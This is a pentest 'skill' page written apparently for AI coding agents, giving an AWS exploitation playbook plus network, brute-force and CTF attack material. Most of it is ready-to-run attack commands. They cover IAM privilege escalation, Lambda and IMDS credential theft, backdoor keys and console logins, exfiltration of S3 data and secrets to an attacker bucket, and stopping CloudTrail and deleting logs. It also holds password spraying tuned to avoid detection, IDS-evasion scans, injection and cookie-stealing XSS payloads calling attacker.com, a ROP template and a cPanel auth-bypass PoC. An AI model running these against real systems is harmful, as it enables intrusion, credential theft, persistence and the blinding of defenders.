メニュー
PTES Phase 5 - Exploitation for AWS security assessments using WorstAssume attack chain detection
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
Security audit for AI agent endpoints (Claude Desktop/Code, MCP servers, plugins, extensions)
Active Directory penetration testing skills covering reconnaissance, attacks, lateral movement, persistence, and ADCS exploitation
PTES Phase 2 - Intelligence gathering for AWS security assessments
Network reconnaissance and port scanning using Naabu, hping3, and complementary tools
Pentest especializado para Palo Alto Networks PAN-OS — cobre CVE-2026-0300 (buffer overflow RCE), User-ID Auth Portal, e superfície de ataque completa
Pentest especializado para pfSense CE e Plus — cobre todas as superfícies de ataque a partir da rede externa e interna, mapeado ao PTES e ao código-fonte real do pfSense
| name | pentest-exploitation |
| description | PTES Phase 5 - Exploitation for AWS security assessments using WorstAssume attack chain detection |
| type | skill |
IMPORTANTE: Se durante a exploração você identificar pfSense, ATIVE A SKILL
pentest-pfsenseimediatamente.
# Default credentials test
curl -sk -c cookies.txt -d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" https://TARGET/
# Web GUI check
curl -sk https://TARGET/ | grep -iE "pfSense|Netgate|login_button"
# Service enumeration
nmap -sV -p 443,22,1194,500 TARGET | grep -iE "nginx|openssh|openvpn"
# Se pfSense detectado → ATIVAR pentest-pfsense skill
# Esta skill continua para exploração geral (AWS)
# Use pentest-pfsense para:
# - CVE-2023-42326: Command Injection (interfaces_gif_edit.php)
# - CVE-2025-53392: Arbitrary File Read (diag_command.php)
# - CVE-2023-48123: Packet Capture RCE
# - CVE-2022-40624: pfBlockerNG Host Header RCE
# - CVE-2025-12490: Suricata/Snort Path Traversal → RCE
# - XMLRPC exec_shell/exec_php exploitation
Explorar ativamente as vulnerabilidades identificadas para confirmar impacto real e simular ataques de um adversário, seguindo PTES Section 4 (Exploitation).
# Family I - IAM Self-Modification (attack_chains.py:278-338)
I. CreatePolicy + AttachUserPolicy → Self Admin Escalation
- Severity: CRITICAL
- Steps: CreatePolicy → AttachUserPolicy → Admin Access
II. CreatePolicy + AttachRolePolicy → Role Privilege Escalation
- Severity: CRITICAL
- Steps: CreatePolicy → AttachRolePolicy → AssumeRole
# Family II - PassRole + Compute Service (attack_chains.py:343-403)
II. PassRole + CloudFormation CreateStack → IAM User Creation
- Chain-ID: PassRole+CFN→IAMUser
- Severity: CRITICAL
II. PassRole + Lambda CreateFunction → Steal Execution Role
- Chain-ID: PassRole+Lambda→StealRole
- Severity: CRITICAL
II. PassRole + EC2 RunInstances → IMDS Credential Theft
- Chain-ID: PassRole+EC2→IMDSSteal
- Severity: HIGH
# Family III - Compute Credential Theft (attack_chains.py:406-522)
III. SSM SendCommand → Steal Instance Profile
- Chain-ID: SSMSendCommand→StealInstanceRole
- Severity: HIGH
III. EC2 ModifyUserData → Steal Role via UserData
- Chain-ID: EC2ModifyUserData→StealRole
- Severity: HIGH
III. Lambda UpdateCode → Steal Execution Role
- Chain-ID: Lambda:UpdateCode→StealExecRole
- Severity: HIGH
III. ECS UpdateService → Steal Task Role
- Chain-ID: ECS:UpdateService→StealTaskRole
- Severity: HIGH
# Family IV - Secret Exfiltration → Credential Reuse (attack_chains.py:525-620)
IV. SecretsManager GetSecretValue → IAM Key Reuse
- Chain-ID: SecretsManager→IAMKeyReuse
- Severity: HIGH/MEDIUM
IV. SSM GetParameter → IAM Key Reuse
- Chain-ID: SSMParameter→IAMKeyReuse
- Severity: HIGH/MEDIUM
IV. Lambda GetFunction → Env Secrets
- Chain-ID: Lambda:GetFunction→EnvSecrets
- Severity: MEDIUM
IV. S3 GetObject → Credential Files
- Chain-ID: S3:GetObject→CredFile
- Severity: MEDIUM
# Family V - Account Takeover (attack_chains.py:623-729)
V. UpdateLoginProfile → Console Takeover
- Chain-ID: UpdateLoginProfile→ConsoleTakeover
- Severity: CRITICAL
V. MFA Bypass + UpdateLogin → Takeover Without MFA
- Chain-ID: MFABypass+UpdateLogin→Takeover
- Severity: CRITICAL
V. CreateAccessKey → Persistent Admin Access
- Chain-ID: CreateAccessKey→PersistentAdmin
- Severity: CRITICAL
V. UpdateAssumeRolePolicy + AssumeRole → Role Takeover
- Chain-ID: UpdateAssumeRole+AssumeRole→Takeover
- Severity: CRITICAL
# Family VI - Group Membership (attack_chains.py:732-779)
VI. AddUserToGroup → Join High-Privilege Group
- Chain-ID: AddUserToGroup→GroupPrivEsc
- Severity: HIGH
VI. PutGroupPolicy + AddUserToGroup → Self-Escalation
- Chain-ID: PutGroupPolicy+AddUser→SelfEscalation
- Severity: CRITICAL
# Family VII - Cross-Account Lateral Movement (attack_chains.py:782-846)
VII. WildcardTrust → Any Principal Assumes High-Priv Role
- Chain-ID: WildcardTrust→AnyPrincipalAssume
- Severity: CRITICAL
VII. Cross-Account Trust → Dangerous Role → Lateral Movement
- Chain-ID: CrossAccount→DangerousRole
- Severity: CRITICAL
# Family A - IAM Policy Manipulation (attack_chains.py:1018-1099)
A. CreatePolicyVersion (CRITICAL)
B. SetDefaultPolicyVersion (CRITICAL)
C. AttachUserPolicy (CRITICAL)
D. AttachRolePolicy (CRITICAL)
E. AttachGroupPolicy (CRITICAL)
F. PutUserPolicy (CRITICAL)
G. PutRolePolicy (CRITICAL)
H. PutGroupPolicy (CRITICAL)
I. CreatePolicy (HIGH)
J. AddUserToGroup (HIGH)
# Family B - Role Trust/Assumption Manipulation (attack_chains.py:1102-1126)
A. UpdateAssumeRolePolicy (CRITICAL)
B. WildcardTrustPrincipal (CRITICAL)
C. AssumeRoleWildcardResource (HIGH)
# Family C - Compute: PassRole + Resource Abuse (attack_chains.py:1129-1234)
A. PassRole+Lambda:CreateFunction (CRITICAL)
B. PassRole+Lambda:UpdateFunctionCode (HIGH)
C. PassRole+EC2:RunInstances (HIGH)
D. PassRole+ECS:RegisterTaskDefinition (HIGH)
E. PassRole+ECS:UpdateService (HIGH)
F. PassRole+CloudFormation:CreateStack (CRITICAL)
G. PassRole+CloudFormation:UpdateStack (HIGH)
H. PassRole+Glue:CreateJob (HIGH)
I. PassRole+SageMaker:CreateTrainingJob (HIGH)
J. PassRole+CodeBuild:CreateProject (HIGH)
K. PassRole+DataPipeline (MEDIUM)
L. PassRole+SSM:SendCommand (HIGH)
# Family D - Credential/Key Exfiltration (attack_chains.py:1237-1295)
A. EC2:ModifyInstanceAttribute (HIGH)
B. SSM:SendCommand (HIGH)
C. SecretsManager:GetSecretValue (HIGH)
D. SSM:GetParameter (MEDIUM)
E. Lambda:GetFunction (MEDIUM)
F. S3:GetObject:Wildcard (MEDIUM)
# Family E - Service-Specific Escalation (attack_chains.py:1298-1344)
A. UpdateLoginProfile (CRITICAL)
B. CreateLoginProfile (HIGH)
C. CreateAccessKey (CRITICAL)
D. UpdateAccessKey (MEDIUM)
E. MFABypass (HIGH)
# Family F - Trust Condition Bypass (attack_chains.py:1347-1426)
A. TrustPolicyNoCondition (HIGH)
B. TrustPolicyNoExternalId (HIGH)
C. TrustPolicyNoMFARequired (MEDIUM)
PATH-001: iam:CreatePolicyVersion → Admin em qualquer policy gerenciada
PATH-002: iam:SetDefaultPolicyVersion → Ativar versão dormante
PATH-003: iam:AttachUserPolicy → Attach em user
PATH-004: iam:AttachRolePolicy → Attach em role
PATH-005: iam:AttachGroupPolicy → Attach em group
PATH-006: iam:PutUserPolicy → Inline policy em user
PATH-007: iam:PutRolePolicy → Inline policy em role
PATH-008: iam:PutGroupPolicy → Inline policy em group
PATH-009: iam:AddUserToGroup → Herdar permissões
PATH-010: iam:UpdateAssumeRolePolicy → Modificar trust
PATH-011: iam:CreateAccessKey → Key persistente
PATH-012: iam:CreateLoginProfile → Console access
PATH-013: iam:UpdateLoginProfile → Overwrite password
PATH-014: IMDSv1 → Credential theft (IMDSv1 enabled)
PATH-015: ec2:RunInstances + iam:PassRole → EC2 instance profile
PATH-016: lambda:CreateFunction + iam:PassRole → Lambda execution role
PATH-018: lambda:CreateEventSourceMapping → Auto-trigger
PATH-019: lambda:UpdateFunctionCode → Inject code
PATH-020: lambda:UpdateFunctionConfiguration → Malicious layer
PATH-021: glue:CreateDevEndpoint → SSH access
PATH-022: glue:UpdateDevEndpoint → SSH key injection
PATH-023: cloudformation:CreateStack → Service role
PATH-024: datapipeline:CreatePipeline → Shell activity
PATH-025: sagemaker:CreateNotebookInstance → Notebook
PATH-026: sagemaker:CreatePresignedUrl → Session hijack
PATH-027: codestar:CreateProject → Project role
PATH-030: sts:AssumeRole (same-account) → Role assumption
PATH-031: sts:AssumeRole (cross-account) → Lateral movement
PATH-032: ssm:SendCommand → RCE via Run Command
PATH-033: ec2:InstanceConnect → SSH via public key
PATH-035: s3:PutBucketPolicy → Bucket access
PATH-036: secretsmanager:GetSecretValue → Secret harvest
PATH-037: ecs-tasks:GetTaskMetadata → Task role creds
PATH-042: cloudtrail:StopLogging / guardduty:DeleteDetector → Defensive blinding
# Encontrar todos os paths de privilege escalation
worst privesc --from arn:aws:iam::ACCOUNT:user/USER
# Paths com target específico (permission)
worst privesc --from arn:aws:iam::ACCOUNT:user/USER --target "permission:*:*"
# Paths com target específico (role)
worst privesc --from arn:aws:iam::ACCOUNT:user/USER --target "principal:arn:aws:iam::ACCOUNT:role/Admin"
# Output em JSON para automação (PTES 4.9 - Pivoting)
worst privesc --from <arn> --output json
# Limitar hops (para ambientes grandes)
worst privesc --from <arn> --max-hops 5
VULNERABILITY: iam:CreatePolicyVersion
PATH-ID: PATH-001
SEVERITY: CRITICAL
PTES: 4.1.1 - Countermeasure Bypass
EXPLOITATION STEPS:
1. Identificar policy gerenciada acessível
2. Criar nova versão com AdministratorAccess
3. Definir como versão default
4. Acessar com privilégios elevados
COMANDOS DE EXPLORAÇÃO:
# Criar nova versão da policy
aws iam create-policy-version \
--policy-arn arn:aws:iam::ACCOUNT:policy/TargetPolicy \
--policy-document file://admin-policy.json \
--set-as-default
# Policy document malicioso
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}]
}
VERIFICAÇÃO:
aws iam list-policy-versions --policy-arn <arn>
VULNERABILITY: iam:AttachUserPolicy / iam:AttachRolePolicy
PATH-ID: PATH-003, PATH-004
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation
EXPLOITATION STEPS:
1. Identificar policy com AdministratorAccess
2. Attach policy ao próprio user/role
3. Aguardar propagação (~30 segundos)
4. Verificar novas permissões
COMANDOS DE EXPLORAÇÃO:
aws iam attach-user-policy \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
--user-name <self-user>
VERIFICAÇÃO:
aws iam list-attached-user-policies --user-name <user>
VULNERABILITY: iam:PutUserPolicy / iam:PutRolePolicy
PATH-ID: PATH-006, PATH-007
SEVERITY: CRITICAL
PTES: 4.2.1 - Fuzzing
EXPLOITATION STEPS:
1. Criar policy document malicioso
2. Inject inline policy no target
3. Usar novas permissões
COMANDOS DE EXPLORAÇÃO:
aws iam put-user-policy \
--user-name <target-user> \
--policy-name BackdoorPolicy \
--policy-document file://admin-policy.json
VULNERABILITY: iam:AddUserToGroup
PATH-ID: PATH-009
SEVERITY: HIGH
PTES: 4.7.3 - Locating Shares
EXPLOITATION STEPS:
1. Identificar grupo com permissões elevadas
2. Adicionar próprio user ao grupo
3. Herdar permissões do grupo
COMANDOS DE EXPLORAÇÃO:
aws iam add-user-to-group \
--user-name <self-user> \
--group-name AdminGroup
VERIFICAÇÃO:
aws iam list-groups-for-user --user-name <user>
VULNERABILITY: iam:UpdateAssumeRolePolicy
PATH-ID: PATH-010
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation
EXPLOITATION STEPS:
1. Identificar role de alto valor
2. Modificar trust policy para incluir próprio ARN
3. Assumir a role
4. Acessar com privilégios elevados
COMANDOS DE EXPLORAÇÃO:
# Criar novo trust policy
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"AWS": [
"arn:aws:iam::ACCOUNT:user/attacker",
"arn:aws:iam::ACCOUNT:role/original-role"
]
},
"Action": "sts:AssumeRole"
}]
}
# Atualizar trust policy
aws iam update-assume-role-policy \
--role-name <target-role> \
--policy-document file://new-trust.json
# Assumir role
aws sts assume-role \
--role-arn arn:aws:iam::ACCOUNT:role/target-role \
--role-session-name exploitation
VULNERABILITY: iam:CreateAccessKey / iam:CreateLoginProfile
PATH-ID: PATH-011, PATH-012
SEVERITY: CRITICAL
PTES: 4.7 - Pillaging
EXPLOITATION STEPS (Access Key):
1. Identificar user alvo (admin)
2. Criar access key para o user
3. Salvar credenciais
4. Usar credenciais persistentes
COMANDOS DE EXPLORAÇÃO:
aws iam create-access-key --user-name <admin-user>
# Output:
# {
# "AccessKey": {
# "AccessKeyId": "AKIA...",
# "SecretAccessKey": "secret..."
# }
# }
# Configurar perfil
aws configure set aws_access_key_id AKIA... --profile compromised
aws configure set aws_secret_access_key secret... --profile compromised
EXPLOITATION STEPS (Console):
aws iam create-login-profile \
--user-name <admin-user> \
--password 'SecurePassword123!' \
--no-password-reset-required
ACESSO:
https://ACCOUNT_ID.signin.aws.amazon.com/console
Username: <admin-user>
Password: SecurePassword123!
VULNERABILITY: iam:PassRole + lambda:CreateFunction
PATH-ID: PATH-016
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation
EXPLOITATION STEPS:
1. Identificar role com permissões elevadas
2. Criar Lambda function com essa role
3. Inject código malicioso
4. Invocar function
5. Coletar credenciais da role
COMANDOS DE EXPLORAÇÃO:
# Criar deployment package
mkdir lambda_function
cd lambda_function
echo "import os
def lambda_handler(event, context):
return {
'access_key': os.environ['AWS_ACCESS_KEY_ID'],
'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],
'session_token': os.environ.get('AWS_SESSION_TOKEN', '')
}" > lambda_function.py
zip -r function.zip .
# Criar function
aws lambda create-function \
--function-name exfil-function \
--runtime python3.9 \
--role arn:aws:iam::ACCOUNT:role/high-priv-role \
--handler lambda_function.lambda_handler \
--zip-file fileb://function.zip
# Invocar
aws lambda invoke \
--function-name exfil-function \
--cli-binary-format raw-in-base64-out \
--payload '{}' \
output.json
cat output.json
VULNERABILITY: iam:PassRole + ec2:RunInstances
PATH-ID: PATH-015
SEVERITY: HIGH
PTES: 4.7.2 - Data Exfiltration
EXPLOITATION STEPS:
1. Identificar role com permissões elevadas
2. Launch EC2 instance com instance profile
3. Acessar instância (SSH/SSM)
4. Coletar credenciais do IMDS
COMANDOS DE EXPLORAÇÃO:
aws ec2 run-instances \
--image-id ami-0c55b159cbfafe1f0 \
--instance-type t2.micro \
--iam-instance-profile Name=high-priv-profile \
--security-group-ids sg-xxx \
--subnet-id subnet-xxx
# Acessar via SSM
aws ssm start-session --target <instance-id>
# Coletar credenciais (dentro da instância)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
VULNERABILITY: ssm:SendCommand
PATH-ID: PATH-032
SEVERITY: HIGH
PTES: 4.9.1 - Pivoting Inside
EXPLOITATION STEPS:
1. Identificar EC2 instances gerenciadas pelo SSM
2. Enviar Run Command
3. Executar comandos como a role da instância
COMANDOS DE EXPLORAÇÃO:
aws ssm send-command \
--document-name "AWS-RunShellScript" \
--targets "Key=instanceIds,Values=<instance-id>" \
--parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/"]' \
--comment "Exploitation test"
# Ver resultado
aws ssm list-command-invocations --command-id <command-id> --details
VULNERABILITY: secretsmanager:GetSecretValue
PATH-ID: PATH-036
SEVERITY: HIGH
PTES: 4.7 - Pillaging
EXPLOITATION STEPS:
1. Listar todos os secrets
2. Ler valor de cada secret
3. Extrair credenciais/dados sensíveis
COMANDOS DE EXPLORAÇÃO:
# Listar secrets
aws secretsmanager list-secrets --query 'SecretList[].{Name:Name,ARN:ARN}'
# Ler cada secret
aws secretsmanager get-secret-value --secret-id <secret-name> --query 'SecretString' --output text
VULNERABILITY: Cross-account trust + sts:AssumeRole
PATH-ID: PATH-031
SEVERITY: CRITICAL
PTES: 4.9.1 - Pivoting Inside
EXPLOITATION STEPS:
1. Identificar role cross-account com trust adequado
2. Assumir role da conta alvo
3. Executar ações na conta alvo
COMANDOS DE EXPLORAÇÃO:
aws sts assume-role \
--role-arn arn:aws:iam::TARGET_ACCOUNT:role/cross-account-role \
--role-session-name cross-account-exploit
# Configurar credenciais da conta alvo
export AWS_ACCESS_KEY_ID=<from assume-role output>
export AWS_SECRET_ACCESS_KEY=<from assume-role output>
export AWS_SESSION_TOKEN=<from assume-role output>
# Verificar identidade na conta alvo
aws sts get-caller-identity
CHAIN: CreatePolicy + AttachUserPolicy
PTES: 4.1 - Precision Strike
STEPS:
1. aws iam create-policy-version --policy-arn <policy> --policy-document admin.json --set-as-default
2. aws iam attach-user-policy --policy-arn <policy> --user-name <self>
3. aws sts get-caller-identity (verificar permissões)
IMPACTO: Admin completo na conta
CHAIN: PassRole + Lambda CreateFunction
PTES: 4.2 - Customized Exploitation
STEPS:
1. aws lambda create-function --role <high-priv-role> --function-name backdoor
2. aws lambda invoke --function-name backdoor
3. Coletar credenciais do output
IMPACTO: Credenciais de role administrativa
CHAIN: Cross-Account Trust → Dangerous Role
PTES: 4.9.1 - Pivoting Inside
STEPS:
1. aws sts assume-role --role-arn arn:aws:iam::TARGET:role/exploit
2. aws iam attach-user-policy (na conta alvo)
3. aws s3 ls (acessar dados na conta alvo)
IMPACTO: Comprometimento de múltiplas contas
Nota: Antes de explorar, use Naabu para identificar superfície de ataque:
# Identificar portas abertas (alvos potenciais)
naabu -host target.com -p - -silent
# Com service discovery
naabu -host target.com -p - -sV -silent
# Identificar CDN/WAF
naabu -host target.com -ec -cdn -silent
# Output para análise
naabu -host target.com -j -o scan-results.json
Use os resultados do Naabu para priorizar alvos de exploração.
VULNERABILITY: Firewall ruleset misconfiguration / IDS evasion
TOOL: hping3 (instalado no Kali Linux)
SEVERITY: HIGH (depende do contexto)
PTES: 4.1.1 - Countermeasure Bypass / 4.2.5 - Brute-Force
QUANDO USAR:
- Firewall stateless detectado na fase de Intelligence Gathering
- IDS/IPS precisa ser testado para detecção de scans
- Necessário bypass de filtros de pacote por fragmentação
- Testar rate limiting de rede
- Mapear comportamento de firewall para exploração posterior
EXPLOITATION STEPS:
1. ACK Scan para bypass de firewall stateless
hping3 -A -p 80 target.com
# RST = porta não filtrada (firewall stateless não rastreia estado)
# Sem resposta = firewall stateful ou drop
2. SYN Scan com fragmentação (bypass de ACLs)
hping3 -S -p 80 -f target.com
# Fragmenta packets em 2 partes, bypass de regras simples
3. XMAS Scan para evasão de IDS básico
hping3 -F -P -U -p 80 target.com
# Flags FIN+PUSH+URG, padrão anômalo que alguns IDS não detectam
4. NULL Scan (sem flags)
hping3 -O -p 80 target.com
# Nenhuma flag TCP, bypass de filtros baseados em flags
5. Source IP Spoofing para testes de IDS
hping3 -S -p 80 -a 10.0.0.1 target.com
# Testa se IDS correlaciona respostas com origem real
6. Random source IP (teste de detecção de spoofing)
hping3 -S -p 80 --rand-source target.com
INTERPRETAÇÃO DOS RESULTADOS:
- SYN-ACK recebido = porta aberta (firewall permite)
- RST recebido = porta fechada (firewall permite)
- Sem resposta = porta filtrada ou drop pelo firewall
PAYLOADS DE FRAGMENTAÇÃO:
# Fragmentação manual com offset customizado
hping3 -S -p 80 -f -g 8 target.com # offset de 8 bytes
# MTU virtual para fragmentação automática
hping3 -S -p 80 -m 16 target.com # MTU de 16 bytes
DEFENSIVE BLINDING TEST (PTES 4.9.2 - Cleanup):
# Testar se tráfego é logado
hping3 -S -p 80 -c 10 target.com
# Verificar logs do firewall/IDS após scan
TEMPLATE DE FINDING:
FINDING: FIREWALL-BYPASS-HPING3
CATEGORY: NETWORK_EXPLOITATION
SEVERITY: HIGH
PTES: 4.1.1 - Countermeasure Bypass
TARGET:
- IP/Hostname: [target]
- Portas acessíveis via bypass: [lista]
DESCRIPTION:
Firewall stateless detectado permite bypass via ACK scan.
Portas [X, Y, Z] acessíveis usando técnicas de evasão.
EVIDENCE:
hping3 -A -p 80 target.com → RST recebido (não filtrado)
PTES REFERENCE: Section 4.1.1 (Countermeasure Bypass)
VULNERABILITY: Controle de acesso baseado em IP via headers HTTP
TOOL: headi (instalado em /opt/Tools/HTTP-Injection/headi)
SEVERITY: HIGH/CRITICAL
PTES: 4.1.1.8 - WAF Bypass / 4.2 - Customized Exploitation
QUANDO USAR:
- Recurso retorna 403/401 por restrição de IP
- Suspeita de proxy reverso que confia em headers do cliente
- Endpoint interno acessível via header spoofing
- Bypass de WAF por IP whitelist
EXPLOITATION STEPS:
1. Confirmar o bloqueio baseline
curl -v https://target.com/restricted → 403 Forbidden
2. Executar headi com payloads padrão (localhost bypass)
headi -u https://target.com/restricted
3. Se IPs internos foram enumerados na fase de Intelligence Gathering:
headi -u https://target.com/restricted -p internal_ips.txt
4. Confirmar bypass manualmente com o header identificado
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/restricted
curl -H "X-Real-IP: 127.0.0.1" https://target.com/restricted
5. Explorar o recurso agora acessível
INTERPRETAÇÃO DO OUTPUT:
[+] verde = mudança no Content-Length → bypass em potencial
[-] vermelho = sem mudança
Exemplo positivo:
[+] [https://target.com/admin] [X-Forwarded-For: 127.0.0.1] [Code: 200] [Size: 8192]
PAYLOADS PADRÃO DO HEADI:
127.0.0.1, localhost, 0.0.0.0, 0, 127.1, 127.0.1, 2130706433
HEADERS MAIS EFETIVOS PARA BYPASS:
- X-Forwarded-For (mais comum em proxies/load balancers)
- X-Real-IP (nginx)
- X-Custom-IP-Authorization (aplicações customizadas)
- True-Client-IP (Cloudflare)
- X-Original-URL / X-Rewrite-URL (IIS/mod_rewrite bypass)
VARIAÇÃO - SSRF via Host header:
headi pode identificar Host header injection → use para SSRF
curl -H "X-Forwarded-Host: attacker.com" https://target.com/
# Usar endpoints VPC (não logged)
aws s3 ls --endpoint-url https://s3.vpce.amazonaws.com
# Usar sessões temporárias (menor rastro)
aws sts assume-role --role-arn <role> --role-session-name temp
# Evitar ações de escrita destrutivas
# Em vez de DeleteBucket: apenas listar
aws s3 ls s3://target-bucket
# Adicionar delay entre comandos
sleep 2 && aws iam attach-user-policy ...
sleep 2 && aws sts get-caller-identity
# Parar CloudTrail (apenas se autorizado!)
aws cloudtrail stop-logging --name <trail-name>
# Deletar logs específicos
aws logs delete-log-group --log-group-name /aws/cloudtrail/...
EXPLOITATION: [Nome da técnica]
DATE: [YYYY-MM-DD HH:MM:SS UTC]
TARGET: [ARN do recurso]
PATH-ID: [PATH-XXX]
PTES SECTION: [4.1/4.2/4.4/4.7/4.9]
PRE-EXPLOITATION STATE:
[Estado antes da exploração]
COMMANDS EXECUTED:
[Comandos exatos executados]
POST-EXPLOITATION STATE:
[Estado após exploração]
EVIDENCE:
[Screenshots, outputs, logs]
IMPACT CONFIRMED:
[O que foi confirmado com esta exploração]
PTES REFERENCE:
- Section: [PTES 4.x]
- Subsection: [Specific technique]
# Verificar permissões atuais
aws sts get-caller-identity
# Listar permissões efetivas
aws iam simulate-principal-policy \
--policy-source-arn <self-arn> \
--action-names "*" \
--resource-arns "*"
# Verificar acesso a recursos críticos
aws s3 ls
aws secretsmanager list-secrets
aws ec2 describe-instances
# Criar access key persistente (apenas se autorizado!)
aws iam create-access-key --user-name <compromised-user>
# Guardar para acesso futuro
# ARN: AKIA...
# Secret: ...
# Criar console access
aws iam create-login-profile \
--user-name <compromised-user> \
--password 'BackdoorPassword123!' \
--no-password-reset-required
# Criar Lambda com trigger
aws lambda create-function \
--function-name backdoor-function \
--runtime python3.9 \
--role arn:aws:iam::ACCOUNT:role/backdoor-role \
--handler lambda_function.lambda_handler \
--zip-file fileb://backdoor.zip
# Listar buckets acessíveis
aws s3 ls
# Copiar dados para bucket controlado
aws s3 cp s3://target-bucket/sensitive-data/ s3://attacker-bucket/ --recursive
# Exportar todos os secrets
aws secretsmanager list-secrets --query 'SecretList[].Name' | xargs -I {} \
aws secretsmanager get-secret-value --secret-id {} >> exfiltrated-secrets.txt
# Conectar ao RDS via SSM
aws ssm start-session --target <instance-id>
# Dump database
mysqldump -h <rds-endpoint> -u admin -p database > dump.sql
security-passwords plugin)Local: `seclists-categories passwords/passwords/references/`
Wordlists Disponíveis:
- `500-worst-passwords.txt` - Quick tests for weak passwords
- `10k-most-common.txt` - Common passwords for brute force
- `100k-most-used-passwords-NCSC.txt` - NCSC password list
- `probable-v2_top-12000.txt` - Statistically probable passwords
- `darkweb2017_top-100.txt` - Dark web breach compilations
- `darkweb2017_top-1000.txt` - Extended dark web list
- `darkweb2017_top-10000.txt` - Full dark web compilation
- `2024-197_most_used_passwords.txt` - Recent password analysis
- `top-passwords-shortlist.txt` - Quick reference list
- `best1050.txt` - Curated best passwords list
# Hydra - SSH brute force
hydra -L seclists-categories/usernames/top-usernames-shortlist.txt \
-P seclists-category/passwords/500-worst-passwords.txt \
ssh://target.com
# Hydra - HTTP POST form
hydra -l admin -P seclists-category/passwords/10k-most-common.txt \
target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid"
# Hashcat - Password cracking
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/500-worst-passwords.txt
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/10k-most-common.txt
# John the Ripper
john --wordlist=seclists-category/passwords/500-worst-passwords.txt hash.txt
john --wordlist=seclists-category/passwords/probable-v2_top-12000.txt hash.txt
# Low-and-slow password spraying
for password in $(cat seclists-category/passwords/500-worst-passwords.txt); do
curl -s -X POST https://target.com/login \
-d "username=admin&password=$password" \
-o /dev/null -w "%{http_code}\n"
sleep 5 # Avoid detection
done
Combinações comuns para testar:
admin:admin
admin:password
admin:123456
root:root
test:test
guest:guest
service:service
oracle:oracle
postgres:postgres
mysql:mysql
# SQL Injection in CTFs
payloads = [
"' OR '1'='1",
"' OR '1'='1' --",
"admin' --",
"' UNION SELECT NULL--",
"' UNION SELECT username,password FROM users--",
"' UNION SELECT LOAD_FILE('/flag')--" # MySQL file read
]
# Command Injection
injection_payloads = [
"; cat /flag",
"| cat /flag",
"&& cat /flag",
"$(cat /flag)",
"`cat /flag`"
]
# Directory Traversal
traversal_payloads = [
"../../../flag",
"....//....//....//flag",
"..%2F..%2F..%2Fflag",
"/etc/passwd",
"/proc/self/environ"
]
// Basic XSS - steal admin cookie
<script>fetch('http://attacker.com?c='+document.cookie)</script>
// Bypass filters
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
// Exfiltrate data
<script>
fetch('http://attacker.com?flag=' + btoa(document.body.innerText))
</script>
# Identificar hash type
hashid hash.txt
hash-identifier
# Crack com wordlists
john --wordlist=seclists-category/passwords/500-worst-passwords.txt hash.txt
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/probable-v2_top-12000.txt
# Brute force login em CTF
hydra -l admin -P seclists-category/passwords/500-worst-passwords.txt \
target.com http-post-form "/login:user=^USER^&pass=^PASS^:Failed"
from pwn import *
# Template para CTF binary exploitation
r = remote('target.com', 1337)
# Buffer overflow
offset = 64
payload = b'A' * offset + p64(0x4011c6) # Return address
r.sendline(payload)
r.interactive()
# ROP chain
rop = ROP('./binary')
rop.call(rop.ret) # Stack alignment
rop.call(rop.plt['puts'], [rop.got['puts']])
rop.call(rop.symbols['main'])
# File carving
binwalk -e firmware.bin
foremost -i image.dd
# Memory analysis
volatility -f memory.dump imageinfo
volatility -f memory.dump --profile=Win7SP1x64 pslist
# PCAP analysis
tshark -r capture.pcap -Y "http.request"
strings capture.pcap | grep -i flag
# Steganography
steghide extract -sf image.jpg
zsteg image.png
# Caesar cipher
def caesar_decrypt(ciphertext, shift):
return ''.join(chr((ord(c) - shift - 65) % 26 + 65) for c in ciphertext)
# XOR brute force
def xor_brute(ciphertext):
for key in range(256):
plaintext = ''.join(chr(b ^ key) for b in ciphertext)
if plaintext.isprintable():
print(f"Key {key}: {plaintext}")
# Base64 variations
import base64
base64.b64decode(encoded)
base64.b32decode(encoded)
base64.b16decode(encoded)
VULNERABILITY: CVE-2026-41940 (cPanel Auth Bypass)
SEVERITY: CRITICAL
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS: 28.36%
AFFECTED: cPanel & WHM (todas versões até patch fev/2026)
TOOLS: /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py
PTES: 4.2 - Customized Exploitation / 4.1.1.8 - WAF Bypass
A vulnerabilidade permite bypass completo de autenticação no cPanel & WHM através de:
Mecanismo de ataque (4 stages):
Stage 1: Pre-auth → POST /login/?login_only=1 → whostmgrsession cookie
Stage 2: Inject → GET /scripts2/doautoconfig + CRLF payload → 307 redirect + token leak
Stage 3: Propagate → GET /scripts2/listaccts → session raw → cache
Stage 4: Verify → GET /{token}/json-api/version → API access confirmed
Por que é CVSS 9.8:
1. Acesso remoto ao cPanel/WHM (porta 2087 ou 2083)
2. Python 3.8+ com requests instalado
3. Target executando cPanel sem patch
# STEP 1: Detectar cPanel (Intelligence Gathering)
httpx -u https://TARGET -title -tech-detect
# Indicadores: cPanel, WHM, porta 2087/2083
# STEP 2: Detectar vulnerabilidade (safe, non-destructive)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET -u admin -p password detect
# Output esperado (vulnerável):
# [+] Stage 1: Pre-auth session minted
# [+] Stage 2: CRLF injection successful
# [+] Token: a1b2c3d4e5f6
# [+] VULNERABLE: CVE-2026-41940 confirmed
# STEP 3: Explorar bypass completo
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET -u admin -p password exploit
# Output esperado:
# [+] Stage 3: Session propagated to cache
# [+] Stage 4: API access verified
# [+] WHM API version: 1.1.104
